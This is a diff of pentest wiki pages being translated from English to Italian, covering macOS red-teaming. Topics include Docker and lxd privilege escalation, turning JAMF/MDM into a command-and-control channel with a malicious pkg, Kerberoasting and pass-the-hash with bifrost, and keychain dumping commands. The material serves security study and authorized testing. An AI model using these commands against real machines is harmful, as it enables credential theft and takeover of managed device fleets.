You can mount the root filesystem of the host machine to an instances volume, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.
Puoi montare il filesystem root della macchina host su un volume dell'istanza, così quando l'istanza si avvia carica immediatamente un `chroot` in quel volume. Questo ti dà effettivamente i privilegi di root sulla macchina.
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
# lxc/lxd Group
# Gruppo lxc/lxd
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
<figure><img src="/images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
{{#include ../../banners/hacktricks-training.md}}

File diff suppressed because it is too large Load Diff

View File

@ -2,109 +2,98 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Abusing MDMs
## Abusare degli MDM
- JAMF Pro: `jamf checkJSSConnection`
- Kandji
If you manage to **compromise admin credentials** to access the management platform, you can **potentially compromise all the computers** by distributing your malware in the machines.
Se riesci a **compromettere le credenziali di amministratore** per accedere alla piattaforma di gestione, puoi **potenzialmente compromettere tutti i computer** distribuendo il tuo malware nelle macchine.
For red teaming in MacOS environments it's highly recommended to have some understanding of how the MDMs work:
Per il red teaming in ambienti MacOS è altamente raccomandato avere una certa comprensione di come funzionano gli MDM:
{{#ref}}
macos-mdm/
{{#endref}}
### Using MDM as a C2
### Utilizzare MDM come C2
A MDM will have permission to install, query or remove profiles, install applications, create local admin accounts, set firmware password, change the FileVault key...
Un MDM avrà il permesso di installare, interrogare o rimuovere profili, installare applicazioni, creare account admin locali, impostare la password del firmware, cambiare la chiave di FileVault...
In order to run your own MDM you need to **your CSR signed by a vendor** which you could try to get with [**https://mdmcert.download/**](https://mdmcert.download/). And to run your own MDM for Apple devices you could use [**MicroMDM**](https://github.com/micromdm/micromdm).
Per eseguire il tuo MDM devi **far firmare il tuo CSR da un fornitore** che potresti provare a ottenere con [**https://mdmcert.download/**](https://mdmcert.download/). E per eseguire il tuo MDM per dispositivi Apple potresti usare [**MicroMDM**](https://github.com/micromdm/micromdm).
However, to install an application in an enrolled device, you still need it to be signed by a developer account... however, upon MDM enrolment the **device adds the SSL cert of the MDM as a trusted CA**, so you can now sign anything.
Tuttavia, per installare un'applicazione in un dispositivo registrato, hai ancora bisogno che sia firmata da un account sviluppatore... tuttavia, al momento della registrazione MDM, il **dispositivo aggiunge il certificato SSL dell'MDM come CA fidata**, quindi ora puoi firmare qualsiasi cosa.
To enrol the device in a MDM you. need to install a **`mobileconfig`** file as root, which could be delivered via a **pkg** file (you could compress it in zip and when downloaded from safari it will be decompressed).
Per registrare il dispositivo in un MDM, devi installare un file **`mobileconfig`** come root, che potrebbe essere consegnato tramite un file **pkg** (puoi comprimerlo in zip e quando scaricato da safari verrà decompresso).
**Mythic agent Orthrus** uses this technique.
**Mythic agent Orthrus** utilizza questa tecnica.
### Abusing JAMF PRO
### Abusare di JAMF PRO
JAMF can run **custom scripts** (scripts developed by the sysadmin), **native payloads** (local account creation, set EFI password, file/process monitoring...) and **MDM** (device configurations, device certificates...).
JAMF può eseguire **script personalizzati** (script sviluppati dall'amministratore di sistema), **payload nativi** (creazione di account locali, impostazione della password EFI, monitoraggio di file/processi...) e **MDM** (configurazioni del dispositivo, certificati del dispositivo...).
#### JAMF self-enrolment
#### Auto-registrazione JAMF
Go to a page such as `https://<company-name>.jamfcloud.com/enroll/` to see if they have **self-enrolment enabled**. If they have it might **ask for credentials to access**.
Vai su una pagina come `https://<company-name>.jamfcloud.com/enroll/` per vedere se hanno **abilitata l'auto-registrazione**. Se ce l'hanno, potrebbe **richiedere credenziali per accedere**.
You could use the script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) to perform a password spraying attack.
Potresti usare lo script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) per eseguire un attacco di password spraying.
Moreover, after finding proper credentials you could be able to brute-force other usernames with the next form:
Inoltre, dopo aver trovato le credenziali corrette, potresti essere in grado di forzare altri nomi utente con il modulo successivo:
![](<../../images/image (107).png>)
#### JAMF device Authentication
#### Autenticazione del dispositivo JAMF
<figure><img src="../../images/image (167).png" alt=""><figcaption></figcaption></figure>
The **`jamf`** binary contained the secret to open the keychain which at the time of the discovery was **shared** among everybody and it was: **`jk23ucnq91jfu9aj`**.\
Moreover, jamf **persist** as a **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
Il **binary `jamf`** conteneva il segreto per aprire il portachiavi che al momento della scoperta era **condiviso** tra tutti ed era: **`jk23ucnq91jfu9aj`**.\
Inoltre, jamf **persiste** come un **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
#### JAMF Device Takeover
The **JSS** (Jamf Software Server) **URL** that **`jamf`** will use is located in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
This file basically contains the URL:
#### Presa di controllo del dispositivo JAMF
L'**URL** del **JSS** (Jamf Software Server) che **`jamf`** utilizzerà si trova in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
Questo file contiene fondamentalmente l'URL:
```bash
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
[...]
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
[...]
```
So, an attacker could drop a malicious package (`pkg`) that **overwrites this file** when installed setting the **URL to a Mythic C2 listener from a Typhon agent** to now be able to abuse JAMF as C2.
Quindi, un attaccante potrebbe installare un pacchetto malevolo (`pkg`) che **sovrascrive questo file** durante l'installazione impostando l'**URL a un listener Mythic C2 da un agente Typhon** per poter abusare di JAMF come C2.
```bash
# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0
# TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2
```
#### JAMF Impersonation
In order to **impersonate the communication** between a device and JMF you need:
Per **impersonare la comunicazione** tra un dispositivo e JMF hai bisogno di:
- The **UUID** of the device: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
- The **JAMF keychain** from: `/Library/Application\ Support/Jamf/JAMF.keychain` which contains the device certificate
- Il **UUID** del dispositivo: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
- Il **keychain JAMF** da: `/Library/Application\ Support/Jamf/JAMF.keychain` che contiene il certificato del dispositivo
With this information, **create a VM** with the **stolen** Hardware **UUID** and with **SIP disabled**, drop the **JAMF keychain,** **hook** the Jamf **agent** and steal its information.
Con queste informazioni, **crea una VM** con il **UUID** Hardware **rubato** e con **SIP disabilitato**, inserisci il **keychain JAMF,** **hook** l'agente Jamf e ruba le sue informazioni.
#### Secrets stealing
<figure><img src="../../images/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
You could also monitor the location `/Library/Application Support/Jamf/tmp/` for the **custom scripts** admins might want to execute via Jamf as they are **placed here, executed and removed**. These scripts **might contain credentials**.
Puoi anche monitorare la posizione `/Library/Application Support/Jamf/tmp/` per gli **script personalizzati** che gli amministratori potrebbero voler eseguire tramite Jamf poiché sono **posizionati qui, eseguiti e rimossi**. Questi script **potrebbero contenere credenziali**.
However, **credentials** might be passed tho these scripts as **parameters**, so you would need to monitor `ps aux | grep -i jamf` (without even being root).
Tuttavia, le **credenziali** potrebbero essere passate a questi script come **parametri**, quindi dovresti monitorare `ps aux | grep -i jamf` (senza nemmeno essere root).
The script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) can listen for new files being added and new process arguments.
Lo script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) può ascoltare nuovi file aggiunti e nuovi argomenti di processo.
### macOS Remote Access
And also about **MacOS** "special" **network** **protocols**:
E anche riguardo ai **protocollo** **di rete** "speciali" di **MacOS**:
{{#ref}}
../macos-security-and-privilege-escalation/macos-protocols.md
@ -112,7 +101,7 @@ And also about **MacOS** "special" **network** **protocols**:
## Active Directory
In some occasions you will find that the **MacOS computer is connected to an AD**. In this scenario you should try to **enumerate** the active directory as you are use to it. Find some **help** in the following pages:
In alcune occasioni scoprirai che il **computer MacOS è connesso a un AD**. In questo scenario dovresti cercare di **enumerare** l'active directory come sei abituato a fare. Trova qualche **aiuto** nelle seguenti pagine:
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
@ -126,41 +115,36 @@ In some occasions you will find that the **MacOS computer is connected to an AD*
../../network-services-pentesting/pentesting-kerberos-88/
{{#endref}}
Some **local MacOS tool** that may also help you is `dscl`:
Alcuni **strumenti locali di MacOS** che potrebbero anche aiutarti sono `dscl`:
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
Inoltre, ci sono alcuni strumenti preparati per MacOS per enumerare automaticamente l'AD e interagire con kerberos:
Also there are some tools prepared for MacOS to automatically enumerate the AD and play with kerberos:
- [**Machound**](https://github.com/XMCyber/MacHound): MacHound is an extension to the Bloodhound audting tool allowing collecting and ingesting of Active Directory relationships on MacOS hosts.
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is an Objective-C project designed to interact with the Heimdal krb5 APIs on macOS. The goal of the project is to enable better security testing around Kerberos on macOS devices using native APIs without requiring any other framework or packages on the target.
- [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) tool to do Active Directory enumeration.
### Domain Information
- [**Machound**](https://github.com/XMCyber/MacHound): MacHound è un'estensione dello strumento di auditing Bloodhound che consente di raccogliere e ingerire le relazioni di Active Directory sugli host MacOS.
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost è un progetto Objective-C progettato per interagire con le API Heimdal krb5 su macOS. L'obiettivo del progetto è abilitare test di sicurezza migliori attorno a Kerberos sui dispositivi macOS utilizzando API native senza richiedere alcun altro framework o pacchetti sul target.
- [**Orchard**](https://github.com/its-a-feature/Orchard): Strumento JavaScript per l'automazione (JXA) per fare enumerazione di Active Directory.
### Informazioni sul Dominio
```bash
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
```
### Utenti
### Users
I tre tipi di utenti MacOS sono:
The three types of MacOS users are:
- **Utenti Locali** — Gestiti dal servizio OpenDirectory locale, non sono collegati in alcun modo all'Active Directory.
- **Utenti di Rete** — Utenti Active Directory volatili che richiedono una connessione al server DC per autenticarsi.
- **Utenti Mobili** — Utenti Active Directory con un backup locale per le loro credenziali e file.
- **Local Users** — Managed by the local OpenDirectory service, they arent connected in any way to the Active Directory.
- **Network Users** — Volatile Active Directory users who require a connection to the DC server to authenticate.
- **Mobile Users** — Active Directory users with a local backup for their credentials and files.
Le informazioni locali sugli utenti e sui gruppi sono memorizzate nella cartella _/var/db/dslocal/nodes/Default._\
Ad esempio, le informazioni sull'utente chiamato _mark_ sono memorizzate in _/var/db/dslocal/nodes/Default/users/mark.plist_ e le informazioni sul gruppo _admin_ sono in _/var/db/dslocal/nodes/Default/groups/admin.plist_.
The local information about users and groups is stored in in the folder _/var/db/dslocal/nodes/Default._\
For example, the info about user called _mark_ is stored in _/var/db/dslocal/nodes/Default/users/mark.plist_ and the info about the group _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_.
In addition to using the HasSession and AdminTo edges, **MacHound adds three new edges** to the Bloodhound database:
- **CanSSH** - entity allowed to SSH to host
- **CanVNC** - entity allowed to VNC to host
- **CanAE** - entity allowed to execute AppleEvent scripts on host
Oltre a utilizzare i bordi HasSession e AdminTo, **MacHound aggiunge tre nuovi bordi** al database Bloodhound:
- **CanSSH** - entità autorizzata a SSH verso l'host
- **CanVNC** - entità autorizzata a VNC verso l'host
- **CanAE** - entità autorizzata a eseguire script AppleEvent sull'host
```bash
#User enumeration
dscl . ls /Users
@ -182,71 +166,60 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]"
#Domain Information
dsconfigad -show
```
More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
Maggiore informazione in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
### Computer$ password
Get passwords using:
Ottieni le password usando:
```bash
bifrost --action askhash --username [name] --password [password] --domain [domain]
```
It's possible to access the **`Computer$`** password inside the System keychain.
È possibile accedere alla password **`Computer$`** all'interno del portachiavi di sistema.
### Over-Pass-The-Hash
Get a TGT for an specific user and service:
Ottieni un TGT per un utente e un servizio specifici:
```bash
bifrost --action asktgt --username [user] --domain [domain.com] \
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
```
Once the TGT is gathered, it's possible to inject it in the current session with:
Una volta raccolto il TGT, è possibile iniettarlo nella sessione corrente con:
```bash
bifrost --action asktgt --username test_lab_admin \
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
--enctype aes256 --domain test.lab.local
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
--enctype aes256 --domain test.lab.local
```
### Kerberoasting
```bash
bifrost --action asktgs --spn [service] --domain [domain.com] \
--username [user] --hash [hash] --enctype [enctype]
--username [user] --hash [hash] --enctype [enctype]
```
With obtained service tickets it's possible to try to access shares in other computers:
Con i ticket di servizio ottenuti è possibile provare ad accedere alle condivisioni in altri computer:
```bash
smbutil view //computer.fqdn
mount -t smbfs //server/folder /local/mount/point
```
## Accesso al Portachiavi
## Accessing the Keychain
The Keychain highly probably contains sensitive information that if accessed without generating a prompt could help to move forward a red team exercise:
Il Portachiavi contiene probabilmente informazioni sensibili che, se accessibili senza generare un prompt, potrebbero aiutare a portare avanti un esercizio di red team:
{{#ref}}
macos-keychain.md
{{#endref}}
## External Services
## Servizi Esterni
MacOS Red Teaming is different from a regular Windows Red Teaming as usually **MacOS is integrated with several external platforms directly**. A common configuration of MacOS is to access to the computer using **OneLogin synchronised credentials, and accessing several external services** (like github, aws...) via OneLogin.
Il Red Teaming su MacOS è diverso dal Red Teaming su Windows regolare poiché di solito **MacOS è integrato con diverse piattaforme esterne direttamente**. Una configurazione comune di MacOS è accedere al computer utilizzando **credenziali sincronizzate di OneLogin e accedere a diversi servizi esterni** (come github, aws...) tramite OneLogin.
## Misc Red Team techniques
## Tecniche Misc del Red Team
### Safari
When a file is downloaded in Safari, if its a "safe" file, it will be **automatically opened**. So for example, if you **download a zip**, it will be automatically decompressed:
Quando un file viene scaricato in Safari, se è un file "sicuro", verrà **aperto automaticamente**. Quindi, ad esempio, se **scarichi un zip**, verrà automaticamente decompresso:
<figure><img src="../../images/image (226).png" alt=""><figcaption></figcaption></figure>
## References
## Riferimenti
- [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
- [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
@ -254,12 +227,5 @@ When a file is downloaded in Safari, if its a "safe" file, it will be **automati
- [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
- [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,60 +4,59 @@
## Main Keychains
- The **User Keychain** (`~/Library/Keychains/login.keychain-db`), which is used to store **user-specific credentials** like application passwords, internet passwords, user-generated certificates, network passwords, and user-generated public/private keys.
- The **System Keychain** (`/Library/Keychains/System.keychain`), which stores **system-wide credentials** such as WiFi passwords, system root certificates, system private keys, and system application passwords.
- It's possible to find other components like certificates in `/System/Library/Keychains/*`
- In **iOS** there is only one **Keychain** located in `/private/var/Keychains/`. This folder also contains databases for the `TrustStore`, certificates authorities (`caissuercache`) and OSCP entries (`ocspache`).
- Apps will be restricted in the keychain only to their private area based on their application identifier.
- Il **User Keychain** (`~/Library/Keychains/login.keychain-db`), che viene utilizzato per memorizzare **credenziali specifiche dell'utente** come password delle applicazioni, password di internet, certificati generati dall'utente, password di rete e chiavi pubbliche/private generate dall'utente.
- Il **System Keychain** (`/Library/Keychains/System.keychain`), che memorizza **credenziali a livello di sistema** come password WiFi, certificati root di sistema, chiavi private di sistema e password delle applicazioni di sistema.
- È possibile trovare altri componenti come certificati in `/System/Library/Keychains/*`
- In **iOS** c'è solo un **Keychain** situato in `/private/var/Keychains/`. Questa cartella contiene anche database per il `TrustStore`, autorità di certificazione (`caissuercache`) e voci OSCP (`ocspache`).
- Le app saranno limitate nel keychain solo alla loro area privata in base al loro identificatore di applicazione.
### Password Keychain Access
These files, while they do not have inherent protection and can be **downloaded**, are encrypted and require the **user's plaintext password to be decrypted**. A tool like [**Chainbreaker**](https://github.com/n0fate/chainbreaker) could be used for decryption.
Questi file, pur non avendo protezione intrinseca e potendo essere **scaricati**, sono crittografati e richiedono la **password in chiaro dell'utente per essere decrittografati**. Uno strumento come [**Chainbreaker**](https://github.com/n0fate/chainbreaker) potrebbe essere utilizzato per la decrittografia.
## Keychain Entries Protections
### ACLs
Each entry in the keychain is governed by **Access Control Lists (ACLs)** which dictate who can perform various actions on the keychain entry, including:
Ogni voce nel keychain è governata da **Access Control Lists (ACLs)** che determinano chi può eseguire varie azioni sulla voce del keychain, inclusi:
- **ACLAuhtorizationExportClear**: Allows the holder to get the clear text of the secret.
- **ACLAuhtorizationExportWrapped**: Allows the holder to get the clear text encrypted with another provided password.
- **ACLAuhtorizationAny**: Allows the holder to perform any action.
- **ACLAuhtorizationExportClear**: Consente al titolare di ottenere il testo in chiaro del segreto.
- **ACLAuhtorizationExportWrapped**: Consente al titolare di ottenere il testo in chiaro crittografato con un'altra password fornita.
- **ACLAuhtorizationAny**: Consente al titolare di eseguire qualsiasi azione.
The ACLs are further accompanied by a **list of trusted applications** that can perform these actions without prompting. This could be:
Le ACL sono ulteriormente accompagnate da un **elenco di applicazioni fidate** che possono eseguire queste azioni senza richiesta. Questo potrebbe essere:
- **N`il`** (no authorization required, **everyone is trusted**)
- An **empty** list (**nobody** is trusted)
- **List** of specific **applications**.
- **N`il`** (nessuna autorizzazione richiesta, **tutti sono fidati**)
- Un **elenco vuoto** (**nessuno** è fidato)
- **Elenco** di **applicazioni** specifiche.
Also the entry might contain the key **`ACLAuthorizationPartitionID`,** which is use to identify the **teamid, apple,** and **cdhash.**
Inoltre, la voce potrebbe contenere la chiave **`ACLAuthorizationPartitionID`,** che viene utilizzata per identificare il **teamid, apple,** e **cdhash.**
- If the **teamid** is specified, then in order to **access the entry** value **withuot** a **prompt** the used application must have the **same teamid**.
- If the **apple** is specified, then the app needs to be **signed** by **Apple**.
- If the **cdhash** is indicated, then **app** must have the specific **cdhash**.
- Se il **teamid** è specificato, allora per **accedere al valore** della voce **senza** un **prompt** l'applicazione utilizzata deve avere lo **stesso teamid**.
- Se l'**apple** è specificato, allora l'app deve essere **firmata** da **Apple**.
- Se il **cdhash** è indicato, allora l'**app** deve avere il **cdhash** specifico.
### Creating a Keychain Entry
When a **new** **entry** is created using **`Keychain Access.app`**, the following rules apply:
Quando viene creata una **nuova** **voce** utilizzando **`Keychain Access.app`**, si applicano le seguenti regole:
- All apps can encrypt.
- **No apps** can export/decrypt (without prompting the user).
- All apps can see the integrity check.
- No apps can change ACLs.
- The **partitionID** is set to **`apple`**.
- Tutte le app possono crittografare.
- **Nessuna app** può esportare/decrittografare (senza richiedere all'utente).
- Tutte le app possono vedere il controllo di integrità.
- Nessuna app può modificare le ACL.
- Il **partitionID** è impostato su **`apple`**.
When an **application creates an entry in the keychain**, the rules are slightly different:
Quando un'**applicazione crea una voce nel keychain**, le regole sono leggermente diverse:
- All apps can encrypt.
- Only the **creating application** (or any other apps explicitly added) can export/decrypt (without prompting the user).
- All apps can see the integrity check.
- No apps can change the ACLs.
- The **partitionID** is set to **`teamid:[teamID here]`**.
- Tutte le app possono crittografare.
- Solo l'**applicazione che crea** (o altre app esplicitamente aggiunte) può esportare/decrittografare (senza richiedere all'utente).
- Tutte le app possono vedere il controllo di integrità.
- Nessuna app può modificare le ACL.
- Il **partitionID** è impostato su **`teamid:[teamID here]`**.
## Accessing the Keychain
### `security`
```bash
# List keychains
security list-keychains
@ -74,58 +73,57 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
# Dump specifically the user keychain
security dump-keychain ~/Library/Keychains/login.keychain-db
```
### APIs
> [!TIP]
> The **keychain enumeration and dumping** of secrets that **won't generate a prompt** can be done with the tool [**LockSmith**](https://github.com/its-a-feature/LockSmith)
> L'**enumerazione e il dumping** del keychain di segreti che **non genereranno un prompt** possono essere effettuati con lo strumento [**LockSmith**](https://github.com/its-a-feature/LockSmith)
>
> Other API endpoints can be found in [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html) source code.
> Altri endpoint API possono essere trovati nel codice sorgente di [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html).
List and get **info** about each keychain entry using the **Security Framework** or you could also check the Apple's open source cli tool [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Some API examples:
Elenca e ottieni **info** su ciascun elemento del keychain utilizzando il **Security Framework** oppure puoi anche controllare lo strumento cli open source di Apple [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Alcuni esempi di API:
- The API **`SecItemCopyMatching`** gives info about each entry and there are some attributes you can set when using it:
- **`kSecReturnData`**: If true, it will try to decrypt the data (set to false to avoid potential pop-ups)
- **`kSecReturnRef`**: Get also reference to keychain item (set to true in case later you see you can decrypt without pop-up)
- **`kSecReturnAttributes`**: Get metadata about entries
- **`kSecMatchLimit`**: How many results to return
- **`kSecClass`**: What kind of keychain entry
- L'API **`SecItemCopyMatching`** fornisce informazioni su ciascun elemento e ci sono alcuni attributi che puoi impostare quando la utilizzi:
- **`kSecReturnData`**: Se vero, tenterà di decrittografare i dati (imposta su falso per evitare potenziali pop-up)
- **`kSecReturnRef`**: Ottieni anche un riferimento all'elemento del keychain (imposta su vero nel caso in cui successivamente vedi che puoi decrittografare senza pop-up)
- **`kSecReturnAttributes`**: Ottieni metadati sugli elementi
- **`kSecMatchLimit`**: Quanti risultati restituire
- **`kSecClass`**: Che tipo di elemento del keychain
Get **ACLs** of each entry:
Ottieni **ACL** di ciascun elemento:
- With the API **`SecAccessCopyACLList`** you can get the **ACL for the keychain item**, and it will return a list of ACLs (like `ACLAuhtorizationExportClear` and the others previously mentioned) where each list has:
- Description
- **Trusted Application List**. This could be:
- An app: /Applications/Slack.app
- A binary: /usr/libexec/airportd
- A group: group://AirPort
- Con l'API **`SecAccessCopyACLList`** puoi ottenere l'**ACL per l'elemento del keychain**, e restituirà un elenco di ACL (come `ACLAuhtorizationExportClear` e gli altri precedentemente menzionati) dove ciascun elenco ha:
- Descrizione
- **Elenco delle Applicazioni Affidabili**. Questo potrebbe essere:
- Un'app: /Applications/Slack.app
- Un binario: /usr/libexec/airportd
- Un gruppo: group://AirPort
Export the data:
Esporta i dati:
- The API **`SecKeychainItemCopyContent`** gets the plaintext
- The API **`SecItemExport`** exports the keys and certificates but might have to set passwords to export the content encrypted
- L'API **`SecKeychainItemCopyContent`** ottiene il testo in chiaro
- L'API **`SecItemExport`** esporta le chiavi e i certificati ma potrebbe essere necessario impostare le password per esportare il contenuto crittografato
And these are the **requirements** to be able to **export a secret without a prompt**:
E questi sono i **requisiti** per poter **esportare un segreto senza un prompt**:
- If **1+ trusted** apps listed:
- Need the appropriate **authorizations** (**`Nil`**, or be **part** of the allowed list of apps in the authorization to access the secret info)
- Need code signature to match **PartitionID**
- Need code signature to match that of one **trusted app** (or be a member of the right KeychainAccessGroup)
- If **all applications trusted**:
- Need the appropriate **authorizations**
- Need code signature to match **PartitionID**
- If **no PartitionID**, then this isn't needed
- Se ci sono **1+ app affidabili** elencate:
- Necessita delle appropriate **autorizzazioni** (**`Nil`**, o essere **parte** dell'elenco consentito di app nell'autorizzazione per accedere alle informazioni segrete)
- Necessita che la firma del codice corrisponda al **PartitionID**
- Necessita che la firma del codice corrisponda a quella di un **app affidabile** (o essere un membro del giusto KeychainAccessGroup)
- Se **tutte le applicazioni sono affidabili**:
- Necessita delle appropriate **autorizzazioni**
- Necessita che la firma del codice corrisponda al **PartitionID**
- Se **nessun PartitionID**, allora questo non è necessario
> [!CAUTION]
> Therefore, if there is **1 application listed**, you need to **inject code in that application**.
> Pertanto, se c'è **1 applicazione elencata**, è necessario **iniettare codice in quell'applicazione**.
>
> If **apple** is indicated in the **partitionID**, you could access it with **`osascript`** so anything that is trusting all applications with apple in the partitionID. **`Python`** could also be used for this.
> Se **apple** è indicato nel **partitionID**, potresti accedervi con **`osascript`** quindi qualsiasi cosa che stia fidandosi di tutte le applicazioni con apple nel partitionID. **`Python`** potrebbe essere utilizzato anche per questo.
### Two additional attributes
### Due attributi aggiuntivi
- **Invisible**: It's a boolean flag to **hide** the entry from the **UI** Keychain app
- **General**: It's to store **metadata** (so it's NOT ENCRYPTED)
- Microsoft was storing in plain text all the refresh tokens to access sensitive endpoint.
- **Invisible**: È un flag booleano per **nascondere** l'elemento dall'app Keychain **UI**
- **General**: Serve a memorizzare **metadati** (quindi NON è CRITTOGRAFATO)
- Microsoft memorizzava in testo chiaro tutti i token di aggiornamento per accedere a endpoint sensibili.
## References

View File

@ -2,199 +2,199 @@
{{#include ../../../banners/hacktricks-training.md}}
**To learn about macOS MDMs check:**
**Per saperne di più sugli MDM di macOS, controlla:**
- [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU)
- [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)
## Basics
## Fondamenti
### **MDM (Mobile Device Management) Overview**
### **Panoramica di MDM (Mobile Device Management)**
[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) is utilized for overseeing various end-user devices like smartphones, laptops, and tablets. Particularly for Apple's platforms (iOS, macOS, tvOS), it involves a set of specialized features, APIs, and practices. The operation of MDM hinges on a compatible MDM server, which is either commercially available or open-source, and must support the [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Key points include:
[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) è utilizzato per supervisionare vari dispositivi finali come smartphone, laptop e tablet. In particolare per le piattaforme Apple (iOS, macOS, tvOS), coinvolge un insieme di funzionalità specializzate, API e pratiche. Il funzionamento dell'MDM si basa su un server MDM compatibile, che è disponibile commercialmente o open-source, e deve supportare il [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). I punti chiave includono:
- Centralized control over devices.
- Dependence on an MDM server that adheres to the MDM protocol.
- Capability of the MDM server to dispatch various commands to devices, for instance, remote data erasure or configuration installation.
- Controllo centralizzato sui dispositivi.
- Dipendenza da un server MDM che aderisca al protocollo MDM.
- Capacità del server MDM di inviare vari comandi ai dispositivi, ad esempio, cancellazione remota dei dati o installazione di configurazioni.
### **Basics of DEP (Device Enrollment Program)**
### **Fondamenti del DEP (Device Enrollment Program)**
The [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) offered by Apple streamlines the integration of Mobile Device Management (MDM) by facilitating zero-touch configuration for iOS, macOS, and tvOS devices. DEP automates the enrollment process, allowing devices to be operational right out of the box, with minimal user or administrative intervention. Essential aspects include:
